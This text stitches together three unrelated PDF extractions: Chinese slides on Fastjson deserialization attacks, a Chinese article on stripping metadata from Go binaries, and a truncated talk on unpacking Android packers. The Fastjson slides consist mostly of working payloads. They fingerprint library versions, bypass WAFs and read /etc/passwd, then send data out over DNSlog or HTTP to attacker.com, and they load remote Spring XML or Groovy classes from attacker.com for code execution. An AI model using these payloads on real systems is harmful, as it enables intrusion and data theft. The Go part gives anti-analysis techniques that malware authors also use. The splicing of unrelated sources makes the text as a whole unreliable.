{"ext":"blue","name":"blue"} {"ext":"blue","name":{"$ref":"$.ext"}} 根 据 解析 变化判断 根 据 响应 状 态判断 {"@type":"whatever"} com.alibaba.fastjson.JSONException: autoType is not support. whatever org.json.JSONException: Unterminated string at 5 [character 0 line 2] JSONObject jsonObject = new JSONObject("{a:'\r'}"); {a:b} {"a":"b"} {"a":1.1111111111111112} str = #\r\n{a:1.11111111111111111111111111111111} new Gson().fromJson(str, Object.class); org.json gson {"a":1.1111111111111112} str = {"a":1.11111111111111111111111111}/*#whatever new ObjectMapper().readValue(str, Object.class) {'a':'b'} com.fasterxml.jackson.core.JsonParseException: Unexpected character (''' (code 39)): was expecting double-quote to start field name str = {"name":"blue","age":18} new ObjectMapper().readValue(str, Person.class)❌ jackson s = JSONUtil.toXmlStr(JSONUtil.parse( "{'!DOCTYPE foo [ <!ENTITY % dtd SYSTEM \"http://localhost:2333/evil.dtd\"> %dtd; ]><a></a><!--':''}" )); XMLReaderFactory.createXMLReader().parse(new InputSource(new StringReader(s))); <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://localhost:2333/evil.dtd"> %dtd; ]><a></a><!--/> hutool JSON {a:what.ever}/*\r\n xxx {"a":"what.ever"} [ {"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"}, {"@type":"java.io.ByteArrayOutputStream"}, {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}} ] dnslog.com fastjson 1.2.47 版本 探 测 [ {"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}, {"@type":"java.io.ByteArrayOutputStream"}, {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}} ] fastjson 1.2.68 版本 探 测 dnslog.com [ {"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java. net.InetSocketAddress"{"address":,"val":"first.dnslog.com"}}}, {"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@typ e":"java.net.InetSocketAddress"{"address":,"val":"second.dnslog.com"}}} ] first.dnslog.com second.dnslog.com first.dnslog.com fastjson 1.2.80 版本 探 测 异常 回 显 fastjson 精确版本 号 syntax error, expect {, actual EOF, pos 0, fastjson-version 1.2.76 {"@type":"java.lang.AutoCloseable" JSON.parseObject("whatever",Person.class); 探 测 依赖 环 境 org.springframework.web.bind.annotation.RequestMapping spring org.apache.catalina.startup.Tomcat tomcat groovy.lang.GroovyShell groovy com.mysql.jdbc.Driver mysql java.net.http.HttpClient java 11 ... {"@type":"java.lang.Class","val":${variable}} Class not found null Class exists class com.mysql.jdbc.Driver DNSLog回 显探 测 依赖 库 {"@type":"java.net.Inet4Address", "val":{"@type":"java.lang.String" {"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{ "@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String" {1:{"@type":"java.lang.Class","val":"TARGET_CLASS"}}, "country":"x.l56y7u6g.dnslog.pw" }} } Class not found 报错回 显探 测 依赖 库 "d":{"x":{"$ref":"$.c.contents"}} } 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost POST /login HTTP/1.1 Host:example.com Connection: close { "@type":"java.lang.Character"{ "@type":"java.lang.Class", "val":"com.mysql.jdbc.Driver" } HTTP/1.1 200 Content-Type: application/json Content-Length: 150 { "error":"Bad Request", "message":"com.alibaba.fastjson.JSONException: can not cast to char, value : class com.mysql.jdbc.Driver", "path":"/login" } 1 2 3 4 5 1 2 3 4 5 ------WebKitFormBoundaryAO5f48pfmr4ErWMN Content-Disposition: form-data; name=json Content-Transfer-Encoding: Base64 eyJAdHlwZSI6ImNvbS5zdW4ucm93c2V0LkpkYmNSb3dTZXRJbXBsIn0= ------WebKitFormBoundaryAO5f48pfmr4ErWMN-- ------WebKitFormBoundaryAO5f48pfmr4ErWMN Content-Disposition: form-data; name=json Content-Transfer-Encoding: quoted-printable =7B=22=40type=22=3A=22com.sun.rowset.JdbcRowSetImpl=22=7D ------WebKitFormBoundaryAO5f48pfmr4ErWMN-- {"@type":"com.sun.rowset.JdbcRowSetImpl"} WAF Bypass [11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,...,{'\x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable"... ]]]]] 大 量 字符 WAF Bypass {,new:[NaN,x'00',{,/*}*/'\x40\u0074\x79\u0070\x65':xjava.lang.AutoClosea ble" 1.2.68 1.2.47 1.2.80 FASTJSON反序列化 1.2.47 原 理 class whitelist mapping java.lang.Exception java.lang.Class java.net.URL com.sun.rowset.JdbcRowSetImpl ... { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://host:port/evil", "autoCommit":"true" } } MiscCodec put get checkAutoType 1.2.68原 理 class whitelist mapping java.lang.AutoCloseable java.lang.Class java.net.URL java.io.ByteArrayOutputStream ... { "a":{ "@type":"java.lang.AutoCloseable", "@type":"java.io.ByteArrayOutputStream" },"b":{ "@type":"java.io.ByteArrayOutputStream", }} expectClass.isAssignableFrom(typeName) == true put get 1.2.80原 理 { "a":{ "@type":"java.lang.Exception", "@type":"ognl.OgnlException" } } class whitelist mapping java.lang.Exception java.lang.Class java.net.URL ognl.OgnlException ... expectClass.isAssignableFrom(typeName) == true 修复方案 fastjson 共发布 过三次 修复内部 安全检 查 的版本 , 最 后 一次 修复版本 已在 2022.5.23 发布 , 更 新到大 于 1.2.80版本 可修复此问 题。 JSON#toJavaObject(Type) TypeUtils#cast(Object, Class, ParserConfig) @type "@type":"java.lang.String""@type" : "ognl.OgnlException" "@type" : "ognl.OgnlException" @type ognl.OgnlException@a7e666 {"@type":"ognl.OgnlException"} ThrowableDeserializer.createInstance() 反序列化 Exception 反序列化 setter method parameter OR public field (无视AutoType) 时添加类到白名单 完成Exception对象反序列化 MiscCodec JSONObject toJavaObject caseToJavaBean "@type":"java.lang.String""@type" : "ognl.OgnlException" @type caseToJavaBean 触 发点 gadget 条 件 Throwable子类 setter方法的参数 类型 public field参数 类型 构造 方法参数 类型 是否可作为gadget使用 √ × 结 束 向下再次 寻 找符合 条 件的类 JDBC connection 01 com.mysql.jdbc.JDBC4Connection org.postgresql.jdbc.PgConnection ... 连接 数 据 库 new socketFactory(socketFactoryArg) ● jdbc:postgresql://node1/test? socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext& socketFactoryArg=http://target/exp.xml execute command parse spring config { "@type":"org.postgresql.jdbc.PgConnection", "hostSpecs":[{"host":"127.0.0.1","port":2333}], "user":"user", "database":"test", "info":{ "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext", "socketFactoryArg":"http://attacker.com/spring-context.xml" }, "url":"" } { "@type":"java.lang.Exception", "@type":"org.python.antlr.ParseException" } MiscCodec JSONObject toJavaObject com.ziclix.python.sql.PyConnection org.postgresql.jdbc.PgConnection org.python.antlr.ParseException#setType ② ① ③ write file 02 OGNL { "@type":"java.lang.Exception", "@type":"ognl.OgnlException" } MiscCodec JSONObject toJavaObject ognl.Evaluation#Evaluation(ognl.SimpleNode, java.lang.Object, boolean) ognl.ASTMethod#ASTMethod(ognl.OgnlParser, int) ognl.OgnlParser#OgnlParser(java.io.InputStream, java.lang.String) org.apache.commons.io.input.BOMInputStream org.apache.commons.io.input.TeeInputStream org.apache.commons.io.output.WriterOutputStream org.apache.commons.io.input.CharSequenceInputStream org.apache.commons.io.output.FileWriterWithEncoding ognl.OgnlException#setEvaluation ① ② write file content or read file content OGNL { "@type":"java.lang.Exception", "@type":"org.apache.xml.dtm.DTMConfigur ationException", .... } MiscCodec JSONObject toJavaObject org.apache.xpath.objects.XNodeSetForDOM#xctxt org.apache.xpath.XPathContext#primaryReader org.dom4j.io.XMLWriter#entityResolver org.dom4j.io.SAXContentHandler#inputSource org.xml.sax.InputSource#setByteStream(java.io.InputStream) org.apache.xml.dtm.DTMConfigurationException#locator ① ② org.xml.sax.InputSource#setCharacterStream(java.io.Reader) xalan + dom4j org.xml.sax.InputSource#setByteStream(java.io.InputStream) org.apache.commons.io.input.BOMInputStream org.apache.commons.io.input.TeeInputStream org.apache.commons.io.output.WriterOutputStream org.apache.commons.io.input.CharSequenceInputStream org.apache.commons.io.output.FileWriterWithEncoding write file content or read file content xalan + dom4j read file 03 public read file content aspectj {"a":{ "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCo mpilationUnit", "fileName":"/etc/passwd" }} JSONObject toString {"$ref":"$.a.contents"} {"fileName":"/etc/passwd","content s":"root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr /sbin/nologin...","mainTypeName":" passwd"} root:x:0:0:root:/ro ot:/bin/bash daemon:x:1:1:dae mon:/usr/sbin:/us r/sbin/nologin... { "@type": "java.lang.Exception", "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" } MiscCodec JSONObject toJavaObject org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException ① ② ③ "d":{"x":{"$ref":"$.c.contents"}} } 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost POST /login HTTP/1.1 Host:example.com Content-Length: 154 { "username":{ "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCom pilationUnit", "fileName":"/etc/passwd" }, "password":"whatever" } HTTP/1.1 200 Content-Type: application/json Content-Length: 679 Connection: close { "msg":"用户名 {\"fileName\":\"/etc/passwd\",\"contents\":\"root:x:0:0:root:/root:/bin/b ash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...\",\"mainType Name\":\"passwd\"}不 存 在 " } 1 2 3 4 5 1 2 3 4 5 6 基于 字段输出在 页面的回 显 当 Web应 用中没 有有效的处理 异常 信息导致 Exception message 输出到了 response 时 就 可以利用这 一特点 , 通 过异常 信息带出想要回 显的数 据 。 例如 在 Character 类反序 列化解析 的JSON对象不 满足条 件时 就 会被拼接 到 Exception message 中抛 出异常 。 基于 异常 报错的回 显 {{ "@type":"java.lang.Character"{ "c":{ "@type":"java.lang.String" "hello world" } }} com.alibaba.fastjson.JSONException: can not cast to char, value : {"c":"hello world"} at com.alibaba.fastjson.util.TypeUtils.castToChar(TypeUtils.java:150) "d":{"x":{"$ref":"$.c.contents"}} } 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost POST /login HTTP/1.1 Host:example.com Content-Length: 226 { "@type":"java.lang.Character"{ "c":{ "@type":"org.aspectj.org.eclipse.jdt.internal.core.Basic CompilationUnit", "fileName":"/etc/passwd" } } HTTP/1.1 200 Content-Type: application/json Content-Length: 14738 { "error":"Bad Request", "message":"JSON parse error: can not cast to char, value : {\"c\":{\"contents\":\"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:dae mon:/usr/sbin:/usr/sbin/nologin...\",\"fileName\":\"/etc/passwd\",\"mai nTypeName\":\"passwd\"}}", "path":"/login" } 1 2 3 4 5 1 2 3 4 5 基于 异常 报错的回 显 { "a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"/tmp/test.txt"}, "b":{"@type":"java.net.Inet4Address", "val":{"@type":"java.lang.String" {"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{ "@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"}, "country":"x.l56y7u6g.dnslog.pw" }} }} 基于 DNSLOG回 显 使用 Locale 反序 列化的特性, 将两个字符串拼接 组 合 成 Locale 对象, 再通 过 String 反序 列化将 Locale 对象 toString, 最 终 经由 Inet4Address 反序 列化时 DNSlog 带出数 据 new Locale("a","b").toString() = a_B 基于 HTTPLOG回 显 MiscCodec JSONObject toJavaObject ognl.Evaluation#Evaluation(ognl.SimpleNode, java.lang.Object, boolean) ognl.ASTMethod#ASTMethod(ognl.OgnlParser, int) ognl.OgnlParser#OgnlParser(java.io.InputStream, java.lang.String) org.apache.commons.io.input.ReaderInputStream(java.io.Reader) com.alibaba.fastjson.JSONReader ognl.OgnlException#setEvaluation { "@type":"java.lang.Exception", "@type":"ognl.OgnlException" } 使用任意 一个可以把 InputStream 或者 Reader 添加到白名单的前置 链 。 如 OGNL , 把 JSONReader 添加到白名单, 再基于 URLReader 发起 HTTP 请 求 来 携带数 据 基于 HTTPLOG回 显 {"@type":"java.net.URL","val":{"@type":"java.lang.String"{"@type":"java.util.Local e", "val":{"@type":"com.alibaba.fastjson.JSONObject",{ "@type": "java.lang.String""@type":"java.util.Locale", "language":"http://attacker.com/test?", "country":{"@type":"java.lang.String"[ {"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", "fileName":"/tmp/test.txt"} ]}}} { "@type": "com.alibaba.fastjson.JSONReader", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": ${variable} } } /tmp/test.txt {{flag}} execute code 04 { "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.cont rol.CompilationFailedException", "unit": {} } org.codehaus.groovy.control.ProcessingUnit org.codehaus.groovy.control.CompilerConfiguration org.codehaus.groovy.tools.javac.JavaStubCompilationUnit ① ② class whitelist java.lang.Exception java.lang.Class org.codehaus.groovy.control.Pro cessingUnit org.codehaus.groovy.control.Co mpilationFailedException ... classpathList = [ http://attacker.com ] otherField = null classpathList http://attacker.com CompilerConfiguration 获取 到被赋予远程 classpath的GroovyClassLoader 从远程 加载 java class对象 实例化远程 java对象 org.codehaus.groovy.tools.javac.JavaStubCompilationUnit extends org.codehaus.groovy.control.ProcessingUnit org.codehaus.groovy.control.CompilationUnit#addPhaseOperations org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperations org.codehaus.groovy.transform.ASTTransformationVisitor#addGlobalTransforms /META-INF/services/org.codehaus.groovy.transform.ASTTransformation Blue Blue.class @GroovyASTTransformation public class Blue implements ASTTransformation {static{ evil code } } ① 向目标发起 请 求 ② 从attacker.com获取 要加载 的类名Blue ③ 从 attacker.com 取 得Java类并实例化 attacker server attacker.com
pdf
Go默认编译会自带一堆信息,通过这些信息基本可以还原Go的源码架构, 本文就是研究如何消除或者混淆这些信息,记录了这个研究过程,如果不想看可以直接跳到文章末尾, 文章末尾提供了一款工具,可以一键消除Go二进制中的这些敏感信息。 但还是推荐看看研究过程,可以明白这个工具的运行原理。 从逆向Go开始 先写一个简单的程序 我的go版本是 编译 它运行后会如下输出 go version go1.16.2 windows/amd64 package main import ( "fmt" "log" "math/rand" ) func main() { fmt.Println("hello world!") log.SetFlags(log.Lshortfile | log.LstdFlags) for i:=0;i<10;i++{ log.Println(rand.Intn(100)) } panic("11") } go build main.go 可以观察到程序日志打印时打印了文件名,panic抛出错误的时候堆栈的文件名也抛出了,可以想象Go 编译的二进制程序内部肯定有个数据结构存储了这些信息。 用IDA打开这个二进制 能够看到函数符号的名称。 查看PE的结构发现有个 symtab 区段 原来普通的使用 go build . 进行编译,会连符号和调试信息一起编译到里面。 重新使用命令编译 再次用IDA打开,发现符号信息都不见了。 再次运行程序,却发现文件路径信息还是存在。 go build -ldflags "-s -w" main.go 但是自己写的代码中根本没有这些字符啊,只可能是go在编译的时候自己打包进去的。 所以引出两个问题 Go为什么要打包这些信息 Go打包了哪些信息 Go为什么要打包这些信息 Go 二进制文件里打包进去了 runtime 和 GC 模块,还有独特的 Type Reflection(类型反射) 和 Stack Trace 机制,都需要用到这些信息。 来自 Go二进制文件逆向分析从基础到进阶——综述 - 安全客,安全资讯平台 (anquanke.com) Go打包了哪些信息 Go Version Go BuildID GOROOT 函数名称和源码路径 struct 和 type 和 interface Go逆向方式 看 https://www.anquanke.com/post/id/214940 这篇文章就能知道,通过解析Go二进制中这些内置的 数据结构,就可以还原出符号信息。 有安全研究员发现除了可以从 pclntab 结构中解析、恢复函数符号,Go 二进制文件中还有大量的 类型、方法定义的信息,也可以解析出来。这样就可以大大方便对 Go 二进制文件中复杂数据结构 的逆向分析。 基于这种方式,已经有人写好了ida的脚本来恢复 https://github.com/0xjiayu/go_parser 仅支持到Go1.6,Go1.6之后数据结构有略微的改动,但是项目还没更新 https://github.com/renzhexigua/go_parser/tree/py3_1.16 支持到Go1.6的脚本 运行这些脚本,就能还原一些符号信息了。 redress和gore 前面的是基于IDA的脚本,因为Go也内置了自己的数据结构,用Go来解析Go更方便。 goretk/redress: Redress - A tool for analyzing stripped Go binaries https://github.com/goretk/redress .\redress.exe -pkg -std -filepath -interface main.exe redress只是工具的前端,如果看它代码的话会发现,实际的解析代码在 https://github.com/goretk/gore 这款工具能从Go二进制中获取非常多的信息,几乎可以用它来还原Go的源码结构,这么神奇的工具, 怎能不看看它是如何实现的呢。 GoRE 代码学习 在GoRE中, PCLNTab 是直接使用内置的 debug/gosym 生成,可用于获取源码路径和函数名称,其他解 析数据结构的地方很枯燥,有兴趣可以看@J!4Yu师傅的文章,很全面的讲解了Go的数据结构 https://www.anquanke.com/post/id/214940 我就说说看得几个有意思的点 Go version 获取 go官方命令 go version 不仅可以获取自身的go版本信息,如果后面跟一个Go文件路径, 就能获得那 个文件的go的编译器信息。 查看Go源代码,看看是怎么实现的 src\cmd\go\internal\version\version.go Go官方是通过搜索这个魔术字符,用IDA定位到这个地方,可以看到,这个魔术字符后面就跟着Go版本 信息的地址偏移。 var buildInfoMagic = []byte("\xff Go buildinf:") 官方实现代码 // The build info blob left by the linker is identified by // a 16-byte header, consisting of buildInfoMagic (14 bytes), // the binary's pointer size (1 byte), // and whether the binary is big endian (1 byte). var buildInfoMagic = []byte("\xff Go buildinf:") // findVers finds and returns the Go version and module version information // in the executable x. func findVers(x exe) (vers, mod string) { // Read the first 64kB of text to find the build info blob. text := x.DataStart() data, err := x.ReadData(text, 64*1024) if err != nil { return } for ; !bytes.HasPrefix(data, buildInfoMagic); data = data[32:] { if len(data) < 32 { return } } // Decode the blob. ptrSize := int(data[14]) bigEndian := data[15] != 0 var bo binary.ByteOrder if bigEndian { bo = binary.BigEndian } else { bo = binary.LittleEndian } var readPtr func([]byte) uint64 if ptrSize == 4 { readPtr = func(b []byte) uint64 { return uint64(bo.Uint32(b)) } GoRE version 获取 交叉引用上文的 runtime_buildVersion 字符串,可以看到三处调用的地方。 前两个是 runtime_schedinit 内部的实现,第三个是官方工具go version的实现方式。 转到 runtime_schedinit 地址查看 } else { readPtr = bo.Uint64 } vers = readString(x, ptrSize, readPtr, readPtr(data[16:])) if vers == "" { return } mod = readString(x, ptrSize, readPtr, readPtr(data[16+ptrSize:])) if len(mod) >= 33 && mod[len(mod)-17] == '\n' { // Strip module framing. mod = mod[16 : len(mod)-16] } else { mod = "" } return } // readString returns the string at address addr in the executable x. func readString(x exe, ptrSize int, readPtr func([]byte) uint64, addr uint64) string { hdr, err := x.ReadData(addr, uint64(2*ptrSize)) if err != nil || len(hdr) < 2*ptrSize { return "" } dataAddr := readPtr(hdr) dataLen := readPtr(hdr[ptrSize:]) data, err := x.ReadData(dataAddr, dataLen) if err != nil || uint64(len(data)) < dataLen { return "" } return string(data) } GoRE的 verison 实现就是基于 runtime_schedinit 的,首先找到 runtime_schedinit 函数的地址, 反汇编寻找 lea 的机器码,寻找基于EIP或RIP的地址。这种寻找地址的办法和我之前学习的直接用机器 码匹配的方式不同,算是学习到了~ 在后面这种方式也帮助我成功解析到了Go Root。 Go Root解析 GoRe已经是解析Go的比较完美的工具,但是发现没有解析Go Root,这个也是能作为一个字符特征的, 所以我准备加上这个功能。 我的go环境是 可以直接用这个测试代码 go version go1.16.2 windows/amd64 package main import ( "fmt" "runtime" ) func main() { fmt.Println("hello world!") fmt.Println(runtime.GOROOT()) } go build . 编译 编译后运行会输出GOROOT路径 用IDA搜索这个字符串 C:/Program Files/Go ,但是并没有搜到。于是转到Main函数,看到了符号信 息。 原来它是 C:\\Program Files\\Go 字符串,输出的时候将它改变了。 交叉引用查看 有两个地方,一个是main函数我们调用的地方,一个是 time_init ,这个是内部函数的实现。 我们就可以通过这个函数来定位到它。 刚刚新学了反汇编寻找地址方式,现在正好派上了用场,程序先解析pclntab获取函数 time_init 的地 址范围,从这个地址开始反汇编,寻找 mov rax,立即数 指令。 因为这个赋值的汇编指令是mov,写代码的时候还要注意32位和64位寻址的不同。 func tryFromTimeInit(f *GoFile) (string, error) { // Check for non supported architectures. if f.FileInfo.Arch != Arch386 && f.FileInfo.Arch != ArchAMD64 { return "", nil } is32 := false if f.FileInfo.Arch == Arch386 { is32 = true } // Find shedinit function. var fcn *Function std, err := f.GetSTDLib() if err != nil { return "", nil } pkgLoop: for _, v := range std { if v.Name != "time" { continue } for _, vv := range v.Functions { if vv.Name != "init" { continue } fcn = vv break pkgLoop } } // Check if the functions was found if fcn == nil { // If we can't find the function there is nothing to do. return "", nil } // Get the raw hex. buf, err := f.Bytes(fcn.Offset, fcn.End-fcn.Offset) if err != nil { return "", nil } s := 0 mode := f.FileInfo.WordSize * 8 for s < len(buf) { inst, err := x86asm.Decode(buf[s:], mode) if err != nil { return "", nil } s = s + inst.Len if inst.Op != x86asm.MOV { continue } if inst.Args[0] != x86asm.RAX && inst.Args[0] != x86asm.ECX { continue } kindof := reflect.TypeOf(inst.Args[1]) if kindof.String() != "x86asm.Mem" { continue } arg := inst.Args[1].(x86asm.Mem) addr := arg.Disp if arg.Base == x86asm.EIP || arg.Base == x86asm.RIP { addr = addr + int64(fcn.Offset) + int64(s) } else if arg.Base == 0 && arg.Disp > 0 { } else { continue } b, _ := f.Bytes(uint64(addr), uint64(0x20)) if b == nil { continue } r := bytes.NewReader(b) ptr, err := readUIntTo64(r, f.FileInfo.ByteOrder, is32) if err != nil { // Probably not the right instruction, so go to next. continue } l, err := readUIntTo64(r, f.FileInfo.ByteOrder, is32) if err != nil { // Probably not the right instruction, so go to next. continue } ver := string(bstr) if !IsASCII(ver) { return "", nil } return ver, nil } return "", nil } 此外还要注意一个版本问题。 go1.16 以上版本的GoRoot是这样解析, go1.16 以下可以直接定位到 runtime_GoRoot 函数,再使用上述方式解析即可。 我也向GoRe提交了这部分代码 https://github.com/boy-hack/gore https://github.com/goretk/gore/pull/42/files Go-Strip GoRe可以读取Go二进制的信息,反过来,把读取的文本修改成替换文本,不就达到了消除/混淆go编译 信息的目的吗。 基于此写了一个工具,可以一键混淆Go编译的二进制里的信息。 还是以最开始的Go代码为例 编译 使用程序消除信息 package main import ( "fmt" "log" "math/rand" ) func main() { fmt.Println("hello world!") log.SetFlags(log.Lshortfile | log.LstdFlags) for i:=0;i<10;i++{ log.Println(rand.Intn(100)) } panic("11") } go build -ldflags "-s -w" main.go 运行新的程序 运行没有问题,之前含有的文件信息都用随机字符串填充了。 用之前的IDA脚本查看 函数名称也都填充了。 与其他工具的对比 知名的Go混淆工具有 gobfuscate 、 garble 像 gobfuscate ,核心思想是将源码以及源码引入的包转移到一个随机目录,然后基于AST语法树修改代 码信息,但这样效率有很大问题。之前测试过 deimos-C2 和 sliver 的生成混淆,生成一个简单的源码 需要半个多小时甚至更长时间,并且混淆的不彻底,像Go的一些内置包也并没有混淆。 像 garble 采取的混淆中间语言的方法,但是也有混淆不彻底和效率的问题。 相比之下 go-strip 混淆更彻底,效率快,支持多个平台架构,能比较方便的消除Go编译的信息。 程序下载 https://github.com/boy-hack/go-strip 参考 Go语言逆向初探 https://bbs.pediy.com/thread-268042.htm Go二进制文件逆向分析从基础到进阶——综述 - 安全客,安全资讯平台 https://www.anquanke.com/post/id/214940 https://github.com/goretk/gore https://github.com/goretk/redress
pdf
Unboxing Android Everything you wanted to know about Android packers Slava Makkaveev Avi Bashan Who Are We? @Avi R&D Team Leader at Check Point, former security researcher at Lacoon Mobile Security. Experienced in OS Internal research, mobile security, linux kernel. @Slava Senior Security Researcher at Check Point, former Security Researcher at Verint. Vast experience in mobile OS research and linux internals. “Boxing” Apps ● Malware authors use various “boxing” techniques to prevent ○ Static Code Analysis ○ Reverse Engineering ● This can be done by proprietary techniques or 3rd party software ● This Includes ○ Code Obfuscation ○ Anti Debugging ○ Anti Tampering ○ Anti Dumper ○ Anti Decompiler ○ Anti Runtime Injection Maliciousness of Packed Apps Analyzed 13,000 Apps (July 2017) Techniques to protect an app’s code ● Obfuscators ● Packers ● Protectors Apk Protection Techniques ● Obfuscators ● Packers ● Protectors Apk Protection Techniques pm.getClass().getMethod("getPackageSizeInfo", String.class, Class.forName("android.content.pm.IPackageStatsObserver")).invoke(pm, packInfo.packageName, new IPackageStatsObserver.Stub() { public void onGetStatsCompleted(PackageStats pStats, boolean succeeded) { } }); v6.getClass().getMethod("getPackageSizeInfo", String.class, Class.forName("android.a.a.a")).invoke(v6, ((PackageInfo)v0_5).packageName, new a() { public void a(PackageStats arg3, boolean arg4) { } }); ● Obfuscators ● Packers ● Protectors Apk Protection Techniques Original DEX ● Obfuscators ● Packers ● Protectors Packer Loader Encrypted DEX APK APK Packing process Apk Protection Techniques Packer Loader Encrypted DEX ● Obfuscators ● Packers ● Protectors Packer Loader Original DEX APK APK Execution Apk Protection Techniques ● Obfuscators ● Packers ● Protectors Apk Protection Techniques ● Obfuscators ● Packers ● Protectors Original DEX Encrypted Modified DEX APK APK Protection Process Protector Loader Apk Protection Techniques ● Obfuscators ● Packers ● Protectors Encrypted Modified DEX Modified DEX APK APK Execution Protector Loader Protector Loader Apk Protection Techniques Back to Basics! ART - Android RunTime VM Provided an Ahead of Time (AOT) compilation approach DEX to OAT ● Pre-compilation at install time ○ installation takes more time ○ more internal storage is required ● OAT vs JIT ○ Reduces startup time of applications ○ Improves battery performance ○ Uses less RAM DEX Loading Process Zygote process App process classes.dex OAT version of classes.dex fork() dex2oat Load app code ● App contains minimum one DEX file ● App can load other DEX files during execution ● Each DEX file will be compiled in OAT file ● Android Runtime executes OAT files ● Android Runtime checks DEX files checksum OAT - Ahead of Time File OAT is ELF ● Three special symbols in dynamic section ○ oatdata ○ oatexec ○ aotlastword ● Original DEX file is contained in the oatdata section ● Compiled native instructions are contained in the oatexec section Android Java Native Interface (JNI) ● Allows calling native code directly from JVM. ● Execution path starts from System.loadLibrary ● Used by some of the popular packers for the packing logic. ● Packer library is called after activity is started How to unpack? Possible Approaches to Unpack an Android App ● Find the algorithm ● Extract DEX from compiled OAT ● Dump DEX from memory ● Runtime environment modification Notable Previous Work ● Android Hacker Protection Level 0 ○ Tim Strazzere and Jon Sawyer ○ DEFCON 22, 2015 ○ Released a set of unpacking scripts ● The Terminator to Android Hardening Services ○ Yueqian Zhang, Xiapu Luo , Haoyang Yin ○ HITCON, 2015 ○ Released DexHunter - modified version of Android Dalvik/ART VM Our Approach Goals ● What did want ○ Find a solution that ■ Require minimal changes to Android ■ Will work on most of the packers ● How did we do it? ○ Reversed most popular packers ○ Patched few code rows of Android Runtime Goals ● What did want ○ Find a solution that ■ Require minimal changes to Android ■ Will work on most of the packers ● How did we do it? ○ Reversed most popular packers ○ Patched few code rows of Android Runtime PROFIT Most popular packers encountered ● Baidu ● Bangcle ● Tencent ● Ali ● 360 Jiagu ● ... (and a few more) Analyzed Packers Abstract Packer Model Loader DEX libart.so libc.so open read mmap ... Load protected DEX Find a class Open DEX file Map data Abstract Packer Model Loader DEX libart.so <protector>.so libc.so open read mmap ... Protected DEX Load protected DEX Find a class Load native part Open DEX file Map data Hook calls Decrypt DEX Read original data Bangcle - Classification Classes - ApplicationWrapper - FirstApplication - MyClassLoader - ACall Files - libsecse - libsecmain - libsecexe - libsecpreload - bangcle_classes (original dex) System.load("/data/data/" + getPackageName() + "/.cache/libsecexe.so"); Acall.getACall().a1(...); Acall.getACall().r1(...); Acall.getACall().r2(...); ... public class MyClassLoader extends DexClassLoader { ... } cl = new MyClassLoader("/data/data/" + getPackageName() + "/.cache/classes.jar", ...); realApplication = cl.loadClass(v0).newInstance(); Bangcle - Java Loader Implementation assets/libsecexe.so → /data/data/<pkg>/.cache/libsecexe.so assets/libsecmain.so → /data/data/<pkg>/.cache/libsecmain.so assets/libsecpreload.so → /data/data/<pkg>/.cache/libsecpreload.so assets/bangcle_classes.jar → /data/data/<pkg>/.cache/classes.jar Bangcle - Native Loader Implementation public class ACall { public native void a1(byte[] arg1, byte[] arg2); public native void at1(Application arg1, Context arg2); public native void at2(Application arg1, Context arg2); public native void c1(Object arg1, Object arg2); public native void c2(Object arg1, Object arg2); public native Object c3(Object arg1, Object arg2); public native void jniCheckRawDexAvailable(); public native boolean jniGetRawDexAvailable(); public native void r1(byte[] arg1, byte[] arg2); public native void r2(byte[] arg1, byte[] arg2, byte[] arg3); public native ClassLoader rc1(Context arg1); public native void s1(Object arg1, Object arg2, Object arg3); public native Object set1(Activity arg1, ClassLoader arg2); public native Object set2(Application arg1, ...); public native void set3(Application arg1); public native void set3(Object arg1, Object arg2); public native void set4(); public native void set5(ContentProvider arg1); public native void set8(); } Func Offset Func Offset a1 0x4638 set1 0xCFFC at1 0x8A44 set2 0x9BC8 at2 0x9184 set3 0x566C c1 0xF984 set3 0x8CE8 c2 0x103E8 set4 0x63B4 c3 0x12E48 set5 0x4AA0 r1 0x4938 set8 0x16828 r2 0xDE38 s1 0x126B4 jniCheckRawDexAvailable 0x4408 rc1 0xBFE4 jniGetRawDexAvailable 0x44A0 Java Interface Native Functions Mapping Bangcle - libsecexe.so Class: ELF32 Type: DYN (Shared object file) Machine: ARM Entry point address: 0x433c Start of program headers: 52 (bytes into file) Start of section headers: 92204 (bytes into file) Size of program headers: 32 (bytes) Number of program headers: 6 Size of section headers: 0 (bytes) Number of section headers: 0 Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align EXIDX 0x028584 0x00028584 